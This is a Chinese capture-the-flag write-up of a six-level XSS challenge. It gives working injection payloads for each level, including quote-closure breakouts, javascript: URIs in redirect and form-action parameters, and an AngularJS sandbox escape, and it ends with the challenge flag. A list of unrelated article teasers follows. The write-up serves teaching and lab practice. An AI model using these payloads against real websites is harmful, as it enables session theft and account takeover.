xss闯关

BUU上的[第二章 web进阶]XSS闯关

第一关

第一关很简单,没有任何过滤,直接输入:<script>alert()</script>即可。

第二关

第二关可以输入xss和<script>alert()</script>分别查看页面源代码,看看哪里变了。下面是输入发生变化的代码。

if(location.search == ""){//查看url中是否有查询字符串,包括开头的?,如果有,返回字符串,如果没有返回空字符location.search = "?username=xss"//将url中的查询字符串命名为?username=xss,且不会再改变。}var username = 'xss';//输入document.getElementById('ccc').innerHTML= "Welcome " + escape(username);//找到ID为 'ccc' 的HTML元素,并将其内部的HTML内容替换为 "Welcome " 加上 username 变量的值(username 的值经过 escape() 函数处理),使用双斜线进行过滤。

输入:?username=xss';alert(1);//

第三关

输入第二关的payload,发现多了一个单引号和斜线,形成了闭合。

输入:?username='';alert(1);//

第四关

进入第四关发现页面在不断的跳转,输入:?jumpUrl=javascript:alert(1)

javascript:会将此后面的语句当作代码执行,所以,输入此后的再次跳转就会执行alert(1)。

第五关

查看页面源代码,发现一段js代码。

if(getQueryVariable('autosubmit') !== false){//查看url中是否有autosubmit参数如果有,返回它的值,如果没有,返回false,没有的话执行if语句var autoForm = document.getElementById('autoForm');//通过 ID 获取页面中的表单元素,假设表单的 ID 是 autoForm。autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');//如果没有action,执行location.href,有action且action!=false,执行getQueryVariable('action')。将最后的值赋值给autoForm.action。autoForm.submit();//提交表单
}else{}
function getQueryVariable(variable){var query = window.location.search.substring(1);//获取当前页面的查询字符串(即 URL 中 `?` 后的部分)var vars = query.split("&");//按&符号将参数拆解成数组for (var i=0;i<vars.length;i++) {var pair = vars[i].split("=");//通过=将数据分为参数和值if(pair[0] == variable){return pair[1];}//如果参数是查询的参数,返回它的值}return(false);//返回false
}

综上,我们需要有autosubmit进入if语句,然后利用action参数进行xss注入。

输入:?autosubmit=1&action=JavaScript:alert(1);//

第六关

查看页面源代码,发现一个链接,不过里面是一堆js代码,在下面找到一段js代码:

<script type="text/javascript">if(location.search == ""){//查询有没有查询的参数,好像也没啥东西。location.search = "?username=xss"}
</script>

看别的师傅了解到沙箱逃逸,先传参{ {7*9}},发现被运算。

输入:?username={ {'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

'a'.constructor 返回 String 构造函数。

.prototype 访问 String 的原型对象。

.charAtString 原型上的一个方法,用于获取字符串中指定位置的字符。

=[].join;String.prototype.charAt 方法重写为数组的 join 方法。这意味着当你尝试调用 charAt 方法时,实际上会调用 join 方法。

这样绕过了AngularJS的防御机制,使得后面的代码可以执行。

eval函数接受一个字符串参数,并将其作为AngularJS表达式进行求值。在这里,字符串参数包含恶意代码 x=1} } };alert(1)//'。这段代码试图关闭现有的AngularJS表达式,然后触发一个JavaScript alert弹窗,以实现攻击目的。

最终得到flag:n1book{xss_is_so_interesting}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/14905.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Postman接口测试:postman设置接口关联,实现参数化

postman设置接口关联 在实际的接口测试中&#xff0c;后一个接口经常需要用到前一个接口返回的结果&#xff0c; 从而让后一个接口能正常执行&#xff0c;这个过程的实现称为关联。 在postman中实现关联操作的步骤如下&#xff1a; 1、利用postman获取上一个接口指定的返回值…

从算法到落地:DeepSeek如何突破AI工具的同质化竞争困局

&#x1f381;个人主页&#xff1a;我们的五年 &#x1f50d;系列专栏&#xff1a;Linux网络编程 &#x1f337;追光的人&#xff0c;终会万丈光芒 &#x1f389;欢迎大家点赞&#x1f44d;评论&#x1f4dd;收藏⭐文章 ​ Linux网络编程笔记&#xff1a; https://blog.cs…

【通俗易懂说模型】反向传播(附多元回归与Softmax函数)

&#x1f308; 个人主页&#xff1a;十二月的猫-CSDN博客 &#x1f525; 系列专栏&#xff1a; &#x1f3c0;深度学习_十二月的猫的博客-CSDN博客 &#x1f4aa;&#x1f3fb; 十二月的寒冬阻挡不了春天的脚步&#xff0c;十二点的黑夜遮蔽不住黎明的曙光 目录 1. 前言 2. …

电脑黑屏按什么键恢复?电脑黑屏的解决办法

电脑黑屏的原因有很多&#xff0c;可能是硬件、软件、系统或者病毒等方面造成的。那么&#xff0c;当我们遇到电脑黑屏时&#xff0c;应该怎么做呢&#xff1f;有没有什么快捷的方法可以恢复正常呢&#xff1f;本文将为您介绍一些常见的电脑黑屏情况及其解决办法。 一、电脑开机…

多智能体协作架构模式:驱动传统公司向AI智能公司转型

前言 在数字化浪潮的席卷下&#xff0c;传统公司的运营模式正面临着前所未有的挑战。随着市场竞争的日益激烈&#xff0c;客户需求的快速变化以及业务复杂度的不断攀升&#xff0c;传统公司在缺乏 AI 技术支撑的情况下&#xff0c;暴露出诸多痛点。在决策层面&#xff0c;由于…

CNN 卷积神经网络处理图片任务 | PyTorch 深度学习实战

前一篇文章&#xff0c;学习率调整策略 | PyTorch 深度学习实战 本系列文章 GitHub Repo: https://github.com/hailiang-wang/pytorch-get-started CNN 卷积神经网络 CNN什么是卷积工作原理深度学习的卷积运算提取特征不同特征核的效果比较卷积核感受野共享权重池化 示例源码 …

云上考场微信小程序的设计与实现(LW+源码+讲解)

专注于大学生项目实战开发,讲解,毕业答疑辅导&#xff0c;欢迎高校老师/同行前辈交流合作✌。 技术范围&#xff1a;SpringBoot、Vue、SSM、HLMT、小程序、Jsp、PHP、Nodejs、Python、爬虫、数据可视化、安卓app、大数据、物联网、机器学习等设计与开发。 主要内容&#xff1a;…

Intellij IDEA如何查看当前文件的类

快捷键&#xff1a;CtrlF12&#xff0c;我个人感觉记快捷键很麻烦&#xff0c;知道具体的位置更简单&#xff0c;如果忘了快捷键&#xff08;KeyMap&#xff09;看一下就记起来了&#xff0c;不需要再Google or Baidu or GPT啥的&#xff0c;位置&#xff1a;Navigate > Fi…

支持多种网络数据库格式的自动化转换工具——VisualXML

一、VisualXML软件介绍 对于DBC、ARXML……文件的编辑、修改等繁琐操作&#xff0c;WINDHILL风丘科技开发的总线设计工具——VisualXML&#xff0c;可轻松解决这一问题&#xff0c;提升工作效率。 VisualXML是一个强大且基于Excel表格生成多种网络数据库文件的转换工具&#…

Python Pandas(5):Pandas Excel 文件操作

Pandas 提供了丰富的 Excel 文件操作功能&#xff0c;帮助我们方便地读取和写入 .xls 和 .xlsx 文件&#xff0c;支持多表单、索引、列选择等复杂操作&#xff0c;是数据分析中必备的工具。 操作方法说明读取 Excel 文件pd.read_excel()读取 Excel 文件&#xff0c;返回 DataF…

查看云机器的一些常用配置

云原生学习路线导航页&#xff08;持续更新中&#xff09; kubernetes学习系列快捷链接 Kubernetes架构原则和对象设计&#xff08;一&#xff09;Kubernetes架构原则和对象设计&#xff08;二&#xff09;Kubernetes架构原则和对象设计&#xff08;三&#xff09;Kubernetes常…

网站改HTTPS方法

默认的网站建设好后打开的样子那看起来像是钓鱼网站&#xff0c;现在的浏览器特别只能&#xff0c;就是你新买来的电脑默认的浏览器同样也会出现这样“不安全”提示。 传输协议启动了向全球用户安全传输网页内容的流程。然而&#xff0c;随着HTTPS的推出&#xff0c;传输协议通…

ssti学习笔记(服务器端模板注入)

目录 一&#xff0c;ssti是什么 二&#xff0c;原理 所谓模板引擎&#xff08;三列&#xff0c;可滑动查看&#xff09; 三&#xff0c;漏洞复现 1&#xff0c;如何判断其所属的模板引擎&#xff1f; 2&#xff0c;判断清楚后开始注入 &#xff08;1&#xff09;Jinja2&a…

解决基于FastAPI Swagger UI的文档打不开的问题

基于FastAPI Swagger UI的文档链接/docs和/redoc在没有外网的状态下无法打开&#xff0c;原因是Swagger依赖的JS和CSS来自CDN。 https://cdn.jsdelivr.net/npm/swagger-ui-dist5/swagger-ui-bundle.js https://cdn.jsdelivr.net/npm/swagger-ui-dist5/swagger-ui.css https://…

07苍穹外卖之redis缓存商品、购物车(redis案例缓存实现)

课程内容 缓存菜品 缓存套餐 添加购物车 查看购物车 清空购物车 功能实现&#xff1a;缓存商品、购物车 效果图&#xff1a; 1. 缓存菜品 1.1 问题说明 用户端小程序展示的菜品数据都是通过查询数据库获得&#xff0c;如果用户端访问量比较大&#xff0c;数据库访问压…

UML学习

定义&#xff1a;UML是一种用于软件系统分析和设计的标准化建模语言。 作用&#xff1a;用于描述系统的结构、行为、交互等。共定义了10种,并分为4类 ①用例图 user case diagram : 从外部用户的角度描述系统的功能,并指出功能的执行者. 静态图(②类图 class diagram ③,对象…

ChatGPT提问技巧:行业热门应用提示词案例-文案写作

ChatGPT 作为强大的 AI 语言模型&#xff0c;已经成为文案写作的得力助手。但要让它写出真正符合你需求的文案&#xff0c;关键在于如何与它“沟通”&#xff0c;也就是如何设计提示词&#xff08;Prompt&#xff09;。以下是一些实用的提示词案例&#xff0c;帮助你解锁 ChatG…

w~Transformer~合集5

我自己的原文哦~ https://blog.51cto.com/whaosoft/12406495 #transformer~x1 太可怕了都到6了 太强~~ DeepMind 表示&#xff0c;他们提出的算法蒸馏&#xff08;AD&#xff09;是首个通过对具有模仿损失的离线数据进行顺序建模以展示上下文强化学习的方法。同时基于观察…

视频采集卡接口

采集卡的正面有MIC IN、LINE IN以及AUDIO OUT三个接口&#xff0c; MIC IN为麦克风输入&#xff0c;我们如果要给采集到的视频实时配音或者是在直播的时候进行讲解&#xff0c;就可以在这里插入一个麦克风&#xff0c; LINE IN为音频线路输入&#xff0c;可以外接播放背景音乐…

【Linux】29.Linux 多线程(3)

文章目录 8.4 生产者消费者模型8.4.1 为何要使用生产者消费者模型8.4.2 生产者消费者模型优点 8.5 基于BlockingQueue的生产者消费者模型8.5.1 C queue模拟阻塞队列的生产消费模型 8.6. 为什么pthread_cond_wait 需要互斥量?8.7 条件变量使用规范8.8 条件变量的封装8.9 POSIX信…